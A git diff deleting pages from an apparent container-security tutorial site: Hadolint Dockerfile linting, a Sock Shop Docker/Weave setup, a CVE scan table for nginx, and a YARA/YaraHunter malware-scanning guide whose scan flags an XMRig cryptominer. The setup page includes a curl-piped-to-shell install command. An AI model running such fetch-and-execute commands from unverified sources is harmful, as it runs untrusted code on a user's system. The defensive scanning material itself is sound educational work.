- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/security-linting-of-dockerfiles/index.html b/public/containersecurity/security-linting-of-dockerfiles/index.html deleted file mode 100644 index bb098d4..0000000 --- a/public/containersecurity/security-linting-of-dockerfiles/index.html +++ /dev/null @@ -1,703 +0,0 @@ - - - - - - - - -Security Linting of Dockerfiles · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Security Linting of Dockerfiles

-
-
- - -

hadolint

-

Hadolint comes with a robust and easy to use CLI. You can install it on a variety of platforms, including macOS using brew install hadolint.

-

Confirm the installation was successful with the following command:

-

-$ hadolint --help
-hadolint - Dockerfile Linter written in Haskell
-

We’ll use the following Dockerfile as an example, which can be used to run a Python Django web server. On the surface, it looks fine but we’ll see it has a lot of problems.

-
FROM python
-MAINTAINER xyx
-LABEL org.website="xyz"
- 
-RUN mkdir app && cd app
- 
-COPY requirements.txt ./
-RUN pip install --upgrade pip
-RUN pip install -r requirements.txt
- 
-COPY . .
- 
-CMD python manage.py runserver 0.0.0.0:80000
-

Let’s run it through Hadolint:

-

-$ hadolint Dockerfile
-Dockerfile:1 DL3006 warning: Always tag the version of an image explicitly
-Dockerfile:1 DL3049 info: Label `maintainer` is missing.
-Dockerfile:2 DL4000 error: MAINTAINER is deprecated
-Dockerfile:3 DL3052 warning: Label `org.website` is not a valid URL.
-Dockerfile:5 DL3003 warning: Use WORKDIR to switch to a directory
-Dockerfile:5 SC2164 warning: Use 'cd ... || exit' or 'cd ... || return' in case cd fails.
-Dockerfile:7 DL3045 warning: `COPY` to a relative destination without `WORKDIR` set.
-Dockerfile:8 DL3013 warning: Pin versions in pip. Instead of `pip install <package>` use `pip install <package>==<version>` or `pip install --requirement <requirements file>`
-Dockerfile:8 DL3042 warning: Avoid use of cache directory with pip. Use `pip install --no-cache-dir <package>`
-Dockerfile:9 DL3059 info: Multiple consecutive `RUN` instructions. Consider consolidation.
-Dockerfile:9 DL3042 warning: Avoid use of cache directory with pip. Use `pip install --no-cache-dir <package>`
-Dockerfile:11 DL3045 warning: `COPY` to a relative destination without `WORKDIR` set.
-Dockerfile:13 DL3025 warning: Use arguments JSON notation for CMD and ENTRYPOINT arguments
-

Every violation takes on the following structure:

-

A rule code is prefixed with either DL or SC. The DL prefix means the rule comes from Hadolint directly. The SC prefix means the rule comes from SpellCheck which is a static analysis tool for shell scripts that comes with Hadolint out of the box. You can find the combined list of rules here.

-

Every rule has a dedicated documentation page that lists code examples, rationale and other important details. See the dedicated page for DL3006 here.

-

You can ignore one or more rules using the --ignore RULECODE option:

-
$ hadolint --ignore DL3013 --ignore DL3042 Dockerfile
-

You can also ignore rules within the Dockerfile inline. I prefer this approach because you can exclude rule codes on a per-line basis and it’s more clear where the violation is actually happening.

-
# hadolint ignore=DL3013
-RUN pip install --upgrade pip
-

Hadolint has an active open-source community. New rule codes are added on a regular basis so be sure to check you’re running the latest version of Hadolint every so often.

-

Severity level

-

The severity level indicates how critical a violation is. There are six levels: error, warning, info, style, ignore, and none.

-

The CLI includes a –failure-threshold (abbreviated as -t) to exclude certain severity levels from causing a failure. For example, if you only want Hadolint to fail on error violations.

-
$ hadolint -t error Dockerfile
-

Note, violations from other severity levels will still be reported but they won’t cause a failure.

-

If you don’t agree with a rule code’s severity level, you can easily change it using the –<SEVERITY_LEVEL> RULECODE option. For example, the following command upgrades DL3006 to error and downgrades DL3045 to info (both codes are warning by default):

-
$ hadolint --error DL3006 --info DL3045 Dockerfile
-Dockerfile:1 DL3006 error: Always tag the version of an image explicitly
-Dockerfile:7 DL3045 info: `COPY` to a relative destination without `WORKDIR` set.
-

Fix the Dockerfile

-

Working through each error one-by-one is a fantastic exercise for learning about Dockerfile best practices. As mentioned above, every rule has a very clear and detailed documentation page. Give it a shot and revisit this post when you’re done.

-

At this point, Hadolint should report no errors. Your file should look similar to this:

-
FROM python:3.10
-LABEL maintainer="xyz"
-LABEL org.website="xyz"
-WORKDIR /app
-COPY requirements.txt ./
-# hadolint ignore=DL3013
-RUN pip install --upgrade --no-cache-dir pip && \
- pip install --no-cache-dir -r requirements.txt
-COPY . .
-CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"]
-
    -
  • Integrations
  • -
-

Hadolint includes many convenient integrations for automatically running the linter throughout the development process. My favorites are:

-

VS Code: run Hadolint directly in your editor -pre-commit: run Hadolint on every git commit -GitHub Actions: run Hadolint in GitHub CI/CD

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/sock-shop-docker-compose-and-weave/index.html b/public/containersecurity/sock-shop-docker-compose-and-weave/index.html deleted file mode 100644 index 00c3146..0000000 --- a/public/containersecurity/sock-shop-docker-compose-and-weave/index.html +++ /dev/null @@ -1,739 +0,0 @@ - - - - - - - - -Sock Shop Docker Compose and Weave · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Sock Shop Docker Compose and Weave

-
-
- - -

Sock Shop Docker Compose & Weave

-

Pre-requisites -Install Docker -Install Weave Scope -Install Weave Net

-

-git clone https://github.com/microservices-demo/microservices-demo
-cd microservices-demo
-
curl -sSL https://get.docker.com/ | sh
-apt-get install -yq python-pip build-essential python-dev
-pip install docker-compose
-curl -L git.io/weave -o /usr/local/bin/weave
-chmod a+x /usr/local/bin/weave
-

Launch Weave Scope

-
 sudo curl -L git.io/scope -o /usr/local/bin/scope
-sudo chmod a+x /usr/local/bin/scope
-scope launch
-

Weave launch

-
weave launch
-docker-compose -f deploy/docker-compose-weave/docker-compose.yml up -d
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/static-analysis-of-container-images-library-for-container/index.html b/public/containersecurity/static-analysis-of-container-images-library-for-container/index.html deleted file mode 100644 index 657d470..0000000 --- a/public/containersecurity/static-analysis-of-container-images-library-for-container/index.html +++ /dev/null @@ -1,800 +0,0 @@ - - - - - - - - -Static Analysis of container images library for container · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Static Analysis of container images library for container

-
-
- - -

Packetstreamer

-

SBOM and vulnerability scanner for container images

-

https://github.com/deepfence/package-scanner

-

Download binary

-
    -
  • package-scanner_Darwin_arm64.tar.gz
  • -
  • package-scanner_Darwin_x86_64.tar.gz
  • -
  • package-scanner_Linux_arm64.tar.gz
  • -
  • package-scanner_Linux_x86_64.tar.gz
  • -
  • package-scanner_darwin_amd64_v1
  • -
  • package-scanner_darwin_arm64
  • -
  • package-scanner_linux_amd64_v1
  • -
  • package-scanner_linux_arm64
  • -
-

ClI usage

-

scan a docker image for vulnerabilities

-
./package-scannner -source nginx:latest
-

Scan a docker images , filter for critical vulnerabilities

-
./package-scanner -source nginx:latest -severity critical
-

Scan a docker images with CVEs

-
./package-scanner -source nginx:latest
-INFO[2023-01-06T15:10:15+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///var/run/docker.sock' with timeout '10s' 
-INFO[2023-01-06T15:10:15+05:30] autodetect.go:116 connected successfully using endpoint: unix:///var/run/docker.sock 
-INFO[2023-01-06T15:10:15+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///run/containerd/containerd.sock' with timeout '10s' 
-WARN[2023-01-06T15:10:25+05:30] autodetect.go:124 could not connect to endpoint 'unix:///run/containerd/containerd.sock': context deadline exceeded 
-INFO[2023-01-06T15:10:25+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///run/k3s/containerd/containerd.sock' with timeout '10s' 
-WARN[2023-01-06T15:10:35+05:30] autodetect.go:124 could not connect to endpoint 'unix:///run/k3s/containerd/containerd.sock': context deadline exceeded 
-INFO[2023-01-06T15:10:35+05:30] autodetect.go:91 trying to connect to endpoint 'unix:///var/run/crio/crio.sock' with timeout '10s' 
-WARN[2023-01-06T15:10:35+05:30] autodetect.go:146 could not connect to endpoint 'unix:///var/run/crio/crio.sock': dial unix /var/run/crio/crio.sock: connect: no such file or directory 
-INFO[2023-01-06T15:10:35+05:30] autodetect.go:184 container runtime detected: docker           
-INFO[2023-01-06T15:10:35+05:30] run-once.go:57 generating sbom for nginx:latest ...         
-INFO[2023-01-06T15:10:49+05:30] run-once.go:82 scanning sbom for vulnerabilities ...        
-summary:
- total=142 critical=8 high=42 medium=79 low=13
-+------------------+-----------------+-------------------------------------+----------------------------------------------------+
-|      CVE ID      |    SEVERITY     |               PACKAGE               |                    DESCRIPTION                     |
-+------------------+-----------------+-------------------------------------+----------------------------------------------------+
-| CVE-2019-1010022 | critical        | libc-bin:2.31-13+deb11u5            | ** DISPUTED ** GNU Libc                            |
-|                  |                 |                                     | current is affected by:                            |
-|                  |                 |                                     | Mitigation bypass. The impact                      |
-|                  |                 |                                     | is: Attacker may bypass                            |
-|                  |                 |                                     | stack guard protection. The                        |
-|                  |                 |                                     | component is: nptl. The attack                     |
-|                  |                 |                                     | vector is: Exploit stack                           |
-|                  |                 |                                     | buffer overflow vulnerability                      |
-|                  |                 |                                     | and use this bypass                                |
-|                  |                 |                                     | vulnerability to bypass stack                      |
-|                  |                 |                                     | guard. NOTE: Upstream comments                     |
-|                  |                 |                                     | indicate "this is being                            |
-|                  |                 |                                     | treated as a non-security bug                      |
-|                  |                 |                                     | and no real threat."                               |
-| CVE-2019-1010022 | critical        | libc6:2.31-13+deb11u5               | ** DISPUTED ** GNU Libc                            |
-|                  |                 |                                     | current is affected by:                            |
-|                  |                 |                                     | Mitigation bypass. The impact                      |
-|                  |                 |                                     | is: Attacker may bypass                            |
-|                  |                 |                                     | stack guard protection. The                        |
-|                  |                 |                                     | component is: nptl. The attack                     |
-|                  |                 |                                     | vector is: Exploit stack                           |
-|                  |                 |                                     | buffer overflow vulnerability                      |
-|                  |                 |                                     | and use this bypass                                |
-|                  |                 |                                     | vulnerability to bypass stack                      |
-|                  |                 |                                     | guard. NOTE: Upstream comments                     |
-|                  |                 |                                     | indicate "this is being                            |
-|                  |                 |                                     | treated as a non-security bug                      |
-|                  |                 |                                     | and no real threat."                               |
-| CVE-2017-9117    | critical        | libtiff5:4.2.0-1+deb11u1            | In LibTIFF 4.0.7, the                              |
-|                  |                 |                                     | program processes BMP images                       |
-|                  |                 |                                     | without verifying that                             |
-|                  |                 |                                     | biWidth and biHeight in the                        |
-|                  |                 |                                     | bitmap-information header                          |
-|                  |                 |                                     | match the actual input,                            |
-|                  |                 |                                     | leading to a heap-based buffer                     |
-|                  |                 |                                     | over-read in bmp2tiff.                             |
-| CVE-2019-8457    | critical        | libdb5.3:5.3.28+dfsg1-0.8           | SQLite3 from 3.6.0 to and                          |
-|                  |                 |                                     | including 3.27.2 is vulnerable                     |
-|                  |                 |                                     | to heap out-of-bound read in                       |
-|                  |                 |                                     | the rtreenode() function when                      |
-|                  |                 |                                     | handling invalid rtree tables.                     |
-| CVE-2005-2541    | critical        | tar:1.34+dfsg-1                     | Tar 1.15.1 does not properly                       |
-|                  |                 |                                     | warn the user when extracting                      |
-|                  |                 |                                     | setuid or setgid files,                            |
-|                  |                 |                                     | which may allow local users                        |
-|                  |                 |                                     | or remote attackers to gain                        |
-|                  |                 |                                     | privileges.                                        |
-| CVE-2022-3970    | critical        | libtiff5:4.2.0-1+deb11u1            | A vulnerability was found in LibTIFF.              |
-|                  |                 |                                     | It has been classified as critical. This           |
-|                  |                 |                                     | affects the function TIFFReadRGBATileExt           |
-|                  |                 |                                     | of the file libtiff/tif_getimage.c.                |
-|                  |                 |                                     | The manipulation leads to integer                  |
-|                  |                 |                                     | overflow. It is possible to initiate               |
-|                  |                 |                                     | the attack remotely. The exploit has               |
-|                  |                 |                                     | been disclosed to the public and may               |
-|                  |                 |                                     | be used. The name of the patch is                  |
-|                  |                 |                                     | 227500897dfb07fb7d27f7aa570050e62617e3be.          |
-|                  |                 |                                     | It is recommended to apply a patch to fix          |
-|                  |                 |                                     | this issue. The identifier VDB-213549 was          |
-|                  |                 |                                     | assigned to this vulnerability.                    |
-| CVE-2022-32221   | critical        | libcurl4:7.74.0-1.3+deb11u3         | When doing HTTP(S) transfers,                      |
-|                  |                 |                                     | libcurl might erroneously                          |
-|                  |                 |                                     | use the read callback                              |
-|                  |                 |                                     | (`CURLOPT_READFUNCTION`) to                        |
-|                  |                 |                                     | ask for data to send, even                         |
-|                  |                 |                                     | when the `CURLOPT_POSTFIELDS`                      |
-|                  |                 |                                     | option has been set, if the                        |
-|                  |                 |                                     | same handle previously was                         |
-|                  |                 |                                     | used to issue a `PUT` request                      |
-|                  |                 |                                     | which used that callback.                          |
-|                  |                 |                                     | This flaw may surprise the                         |
-|                  |                 |                                     | application and cause it to                        |
-|                  |                 |                                     | misbehave and either send off                      |
-|                  |                 |                                     | the wrong data or use memory                       |
-|                  |                 |                                     | after free or similar in the                       |
-|                  |                 |                                     | subsequent `POST` request. The                     |
-|                  |                 |                                     | problem exists in the logic                        |
-|                  |                 |                                     | for a reused handle when it is                     |
-|                  |                 |                                     | changed from a PUT to a POST.                      |
-| CVE-2022-32221   | critical        | curl:7.74.0-1.3+deb11u3             | When doing HTTP(S) transfers,                      |
-|                  |                 |                                     | libcurl might erroneously                          |
-|                  |                 |                                     | use the read callback                              |
-|                  |                 |                                     | (`CURLOPT_READFUNCTION`) to                        |
-|                  |                 |                                     | ask for data to send, even                         |
-|                  |                 |                                     | when the `CURLOPT_POSTFIELDS`                      |
-|                  |                 |                                     | option has been set, if the                        |
-|                  |                 |                                     | same handle previously was                         |
-|                  |                 |                                     | used to issue a `PUT` request                      |
-|                  |                 |                                     | which used that callback.                          |
-|                  |                 |                                     | This flaw may surprise the                         |
-|                  |                 |                                     | application and cause it to                        |
-|                  |                 |                                     | misbehave and either send off                      |
-|                  |                 |                                     | the wrong data or use memory                       |
-|                  |                 |                                     | after free or similar in the                       |
-|                  |                 |                                     | subsequent `POST` request. The                     |
-|                  |                 |                                     | problem exists in the logic                        |
-|                  |                 |                                     | for a reused handle when it is                     |
-|                  |                 |                                     | changed from a PUT to a POST.                      |
-| CVE-2021-33560   | high            | libgcrypt20:1.8.7-6                 | Libgcrypt before 1.8.8 and                         |
-|                  |                 |                                     | 1.9.x before 1.9.3 mishandles                      |
-|                  |                 |                                     | ElGamal encryption because                         |
-|                  |                 |                                     | it lacks exponent blinding                         |
-|                  |                 |                                     | to address a side-channel                          |
-|                  |                 |                                     | attack against mpi_powm,                           |
-|                  |                 |                                     | and the window size is not                         |
-|                  |                 |                                     | chosen appropriately. This,                        |
-|                  |                 |                                     | for example, affects use of                        |
-|                  |                 |                                     | ElGamal in OpenPGP.                                |
-| CVE-2019-20838   | high            | libpcre3:2:8.39-13                  | libpcre in PCRE before 8.43                        |
-|                  |                 |                                     | allows a subject buffer                            |
-|                  |                 |                                     | over-read in JIT when UTF                          |
-|                  |                 |                                     | is disabled, and \X or \R                          |
-|                  |                 |                                     | has more than one fixed                            |
-|                  |                 |                                     | quantifier, a related issue to                     |
-|                  |                 |                                     | CVE-2019-20454.                                    |
-| CVE-2022-29458   | high            | ncurses-base:6.2+20201114-2         | ncurses 6.3 before patch                           |
-|                  |                 |                                     | 20220416 has an out-of-bounds                      |
-|                  |                 |                                     | read and segmentation                              |
-|                  |                 |                                     | violation in convert_strings                       |
-|                  |                 |                                     | in tinfo/read_entry.c in the                       |
-

docker image standlone scanner

-
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock sangam14/package-scanner:latest -source nginx:latest
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/what-is-container/index.html b/public/containersecurity/what-is-container/index.html deleted file mode 100644 index 569b11d..0000000 --- a/public/containersecurity/what-is-container/index.html +++ /dev/null @@ -1,570 +0,0 @@ - - - - - - - - -What is container? · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

What is container?

-
-
- - -
-

what is container ?

-
-
    -
  • A container is full package (or) grouping of an entire runtime enviroment of an application ncluding its binaries, the runtime to run the application, System related tools, System libraries, Settings, and configurations.
  • -
-

thats the defination come to mind when you learn ? to better understanding we need to go back to Operating Syatem basics and how its work

-

when a program?process is running on your computer it gives a call to kernel using SystemCall End Point whatever it needs to access any of the

-
    -
  • hardwore resources like -
      -
    • memory
    • -
    • file system( hard disk )
    • -
    • CPU cycles
    • -
    • Internet
    • -
    • Bandwidth and I/O
    • -
    • User Permission and privileges etc
    • -
    -
  • -
-

-
-

What, If we want to Isolate a Single Program to run on virtual space or Environment?

-
-

Let’s say I want to run chrome in a Virtual environment within the machine with its own CPU cycles, Memory, Hard Disk Space, Bandwidth, Users, Internet Usage etc.

-

Something like shown in the following picture. A marked Space or Group.

-

-

Is it possible? Yes, it is

-
-

Isolating the System Resources per process or group of Processes is called Name Spacing. and Limiting and Regulating the System resource allocation to the isolated process/procesesses is called Control Groups(Cgroups)

-
-
-

A coalesced(combined) product of Control Groups and Name Spacing with Process level isolation is called as Containerization or a Container

-
-
-

To be more clear. In the preceding diagram, The area or grouping, Marked in Red dotted lines is called as a Container.

-
-

The following Diagram explains what is Name Spacing and Control Groups and their scope of responsibilities.

-

-

What is inside a Container

-

As we said just before, A Container a Collection of following elements

-
    -
  • Program Binaries/configuration
  • -
  • Runtime libraries
  • -
  • Dependency Products/tools
  • -
  • A Piece of Kernal
  • -
  • System Resources -
      -
    • Hard Disk
    • -
    • Memory
    • -
    • I/O
    • -
    • Network
    • -
    • CPU
    • -
    -
  • -
-

-

As we are isolating the program and dedicatedly providing its own system resources and runtime libraries. It can run alone as a Standalone application (or) infrastructure

-

-

“It was working fine in my laptop or machine”

-

" Yes. It might have worked in the laptop (or) DEV, but that’s not enough for it to work in PROD or at least not the same way it’s working in DEV. "

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/yarahunter-malware-scanner-for-container-images/index.html b/public/containersecurity/yarahunter-malware-scanner-for-container-images/index.html deleted file mode 100644 index c476102..0000000 --- a/public/containersecurity/yarahunter-malware-scanner-for-container-images/index.html +++ /dev/null @@ -1,780 +0,0 @@ - - - - - - - - -YaraHunter - Malware Scanner for Container Images · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

YaraHunter - Malware Scanner for Container Images

-
-
- - -

What is YARA ?

-

YARA was originally developed by Victor Alvarez of VirusTotal and released on github in 2013 .

-
-

YARA , the “Pattern matching Swiss knife for malware researchers available on github

-
-

Install yara on Mac

-
brew install yara
-
-
    -
  • -

    Identify and classify malware

    -
  • -
  • -

    Find new samples based on family-specific pattern

    -
  • -
  • -

    Deploy Yara Rules to identify samples and compromised device for incident response

    -
  • -
-

Why Yara ?

-
    -
  • -

    Before Yara it was difficult for malware researcher To detect and classify large volumes of malware samples

    -
  • -
  • -

    can effective be used of hunting evolving malwares

    -
  • -
  • -

    Since Yara Rules are completely base on text , using an easy to understand syntax , they can be developed quickly

    -
  • -
-

How to write custom detection in YARA

-
    -
  1. -

    Start of the rule: Every YARA rule should be declared by using the keyword rule followed by an identifier , or unique rule would like to give your rule

    -
  2. -
  3. -

    Add your meta section : the meta section can be used to provide comments or details about your rule information provided under meta will not be used for any variation of malware detection

    -
  4. -
  5. -

    Declare string : this is where you can declare a variable and set it value each variable is indicated using $ sign followed by the variable name

    -
  6. -
  7. -

    add your condition section : the condition section is where the rule declares what conditions must be met in order to rule to trigger a match .

    -
  8. -
-

my first yara rule

-
rule Hello_World
-  {
-          condition:
-                  true
-}
-

verify yara is installed or not

-
yara --help
-YARA 4.2.3, the pattern matching swiss army knife.
-Usage: yara [OPTION]... [NAMESPACE:]RULES_FILE... FILE | DIR | PID
-
-Mandatory arguments to long options are mandatory for short options too.
-
-       --atom-quality-table=FILE           path to a file with the atom quality table
-  -C,  --compiled-rules                    load compiled rules
-  -c,  --count                             print only number of matches
-  -d,  --define=VAR=VALUE                  define external variable
-       --fail-on-warnings                  fail on warnings
-  -f,  --fast-scan                         fast matching mode
-  -h,  --help                              show this help and exit
-  -i,  --identifier=IDENTIFIER             print only rules named IDENTIFIER
-       --max-process-memory-chunk=NUMBER   set maximum chunk size while reading process memory (default=1073741824)
-  -l,  --max-rules=NUMBER                  abort scanning after matching a NUMBER of rules
-       --max-strings-per-rule=NUMBER       set maximum number of strings per rule (default=10000)
-  -x,  --module-data=MODULE=FILE           pass FILE's content as extra data to MODULE
-  -n,  --negate                            print only not satisfied rules (negate)
-  -N,  --no-follow-symlinks                do not follow symlinks when scanning
-  -w,  --no-warnings                       disable warnings
-  -m,  --print-meta                        print metadata
-  -D,  --print-module-data                 print module data
-  -e,  --print-namespace                   print rules' namespace
-  -S,  --print-stats                       print rules' statistics
-  -s,  --print-strings                     print matching strings
-  -L,  --print-string-length               print length of matched strings
-  -g,  --print-tags                        print tags
-  -r,  --recursive                         recursively search directories
-       --scan-list                         scan files listed in FILE, one per line
-  -z,  --skip-larger=NUMBER                skip files larger than the given size when scanning a directory
-  -k,  --stack-size=SLOTS                  set maximum stack size (default=16384)
-  -t,  --tag=TAG                           print only rules tagged as TAG
-  -p,  --threads=NUMBER                    use the specified NUMBER of threads to scan a directory
-  -a,  --timeout=SECONDS                   abort scanning after the given number of SECONDS
-  -v,  --version                           show version information
-

Now let the computer greet you:

-
$ yara hello.yara /yara/malware/somefile.txt
-
rule GoodMorning
-  {
-          condition:
-                hour < 12 and hour >= 4
-}
-

Now let the computer greet you:

-
yara hello.yara -d hour=11 ./yara/malware/somefile.txt
-GoodMorning ./yara/malware/somefile.txt
-

structure of YARA rule file

-

rule RULE_NAME { // Rule definition goes here! // Comments in Yara rules look like this! }

-

The “meta” section of a rule contains the description, author, reference, date, hash, and any other relevant details of the rule. This section is optional and will not be used to classify malware. meta: description = "This is just an example" threat_level = 3 in_the_wild = true

-

The “strings” section contains string patterns that are used to identify malware. Each string in the “strings” section is identified with a variable name starting with a dollar sign.

-
strings:
-       $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
-       $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
-       $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
-

You should put signature strings that are indicative of the malware here. This example uses hex strings and text strings. But you can also use regex patterns. strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} // Hex strings are enclosed within curly brackets. $b = "UVODFRYSIHLNWPEJXQZAKCBGMT" // Plain text strings are enclosed within double quotes. $c = /md5: [0-9a-fA-F]{32}/ // Regex patterns are enclosed within slashes. Finally, the “condition” section describes how the string patterns in the “strings” section should be used to identify a piece of malware. You can use boolean (and, or, not), relational (>, <, =, and more), and arithmetic (+, -, *, /, %) expressions in this section. In our example, the rule specifies that if one of the strings $a, $b, or $c is present, the file is a silent banker trojan. condition: $a or $b or $c You can also define more complicated conditions like these. ``` condition: #a > 2 and $b // If $a occurs more than twice and if $b is present

-

condition: ($a and $b) or ($b and $c) // If both $a and $b are present, or both $b and $c are present ```

-

Lets Bring Malware scanner for cloud-native, as part of CI/CD and at Runtime

-

Deepfence’s YaraHunter - scans container images, running Docker containers, and filesystems to find indicators of malware. It uses a YARA ruleset to identify resources that match known malware signatures, and may indicate that the container or filesystem has been compromised.

-

YaRadare can be used to detect malware in cloud-native applications in the following ways:

-
    -
  • -

    At rest: scan local container images, before they are deployed, to verify they do not contain malware

    -
  • -
  • -

    At runtime: scan running docker containers, if, for example, you observe unusual network traffic or CPU activity

    -
  • -
  • -

    Against filesystems: at any time, YaRadare can scan a local directory or filesystem for indicators of compromise

    -
  • -
-

we all build and scan images but we never take look at malware that packaged inside container or even file system YaraHunter can hunt malware that present at your docker images or Kubernetes cluster or you can use in CI/CD pipeline

-

pull image you want to scan

-

Images may be compromised with the installation of a cryptominer such as XMRig. In the following example, we’ll scan a legitimiate cryptominer image that contains the same xmrig software that is often installed through an exploit:

-
 docker pull metal3d/xmrig
-

Run YaraHunter as Docker Container and get result in json

-

-
docker run -it --rm --name=deepfence-yarahunter  
-\-v /var/run/docker.sock:/var/run/docker.sock  
-\-v /tmp:/home/deepfence/output  
-deepfenceio/yara-hunter:latest --image-name metal3d/xmrig:latest  
-\--json-filename=xmrig-scan.json
-

- Using default tag: latest latest: Pulling from metal3d/xmrig 2408cc74d12b: Pull complete 75fcf72b2223: Pull complete 4e7c4ed53fb2: Pull complete Digest: sha256:c3c27a8b2f6beede6d9c0a7e5b79bb7a7b0002cca40565e7bfd2e447f3a2a628 Status: Downloaded newer image for metal3d/xmrig:latest docker.io/metal3d/xmrig:latest WARNING: The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested INFO\[2022-09-09 00:53:43\] trying to connect to endpoint 'unix:///var/run/docker.sock' with timeout '10s' INFO\[2022-09-09 00:53:43\] connected successfully using endpoint: unix:///var/run/docker.sock INFO\[2022-09-09 00:53:43\] trying to connect to endpoint 'unix:///run/containerd/containerd.sock' with timeout '10s' WARN\[2022-09-09 00:53:53\] could not connect to endpoint 'unix:///run/containerd/containerd.sock': context deadline exceeded INFO\[2022-09-09 00:53:53\] trying to connect to endpoint 'unix:///run/k3s/containerd/containerd.sock' with timeout '10s' WARN\[2022-09-09 00:54:03\] could not connect to endpoint 'unix:///run/k3s/containerd/containerd.sock': context deadline exceeded INFO\[2022-09-09 00:54:03\] container runtime detected: docker  
-{ "Timestamp": "2022-09-09 00:54:27.639796179 +00:00", "Image Name": "metal3d/xmrig:latest", "Image ID": "a01f1ffa6691423ef43bfaee2a9c9f30fe08ee6df8d9d6586ae9692d90789c5a", "Malware match detected are": \[ { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/usr/local/bin/xmrig", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "XMRIG\_Miner", "Strings to match are": \[ "stratum+tcp" \], "Category": \[\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/build/CMakeFiles/xmrig.dir/src/base/net/stratum/Url.cpp.o", "ref":"https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ", "Summary": "The matched rule file's ref is https://gist.github.com/GelosSnake/c2d4d6ef6f93ccb7d3afb5b1e26c7b4e ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": "Cerberus", "Strings to match are": \[ "cerberus" \], "Category": \["RAT","memory"\], "File Name": "/tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst", "description":"Cerberus ", "author":"Jean-Philippe Teissier / @Jipe\_ ", "date":"2013-01-12 ", "filetype":"memory ", "version":"1.0 ", "Summary": "The file /tmp/Deepfence/YaRadare/df\_metal3dxmriglatest/ExtractedFiles/bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789/xmrig-6.18.0/src/3rdparty/fmt/README.rst has a memory match.The file has a rule match that Cerberus .The matched rule file's author is Jean-Philippe Teissier / @Jipe\_ .The matched rule file's date is 2013-01-12 .The matched rule file's filetype is memory .The matched rule file's version is 1.0 ." } , { "Image Layer ID": "bad74b706fcd3e01f4af74337744cbcc84ab60da82c40dd588469c6360258789", "Matched Rule Name": 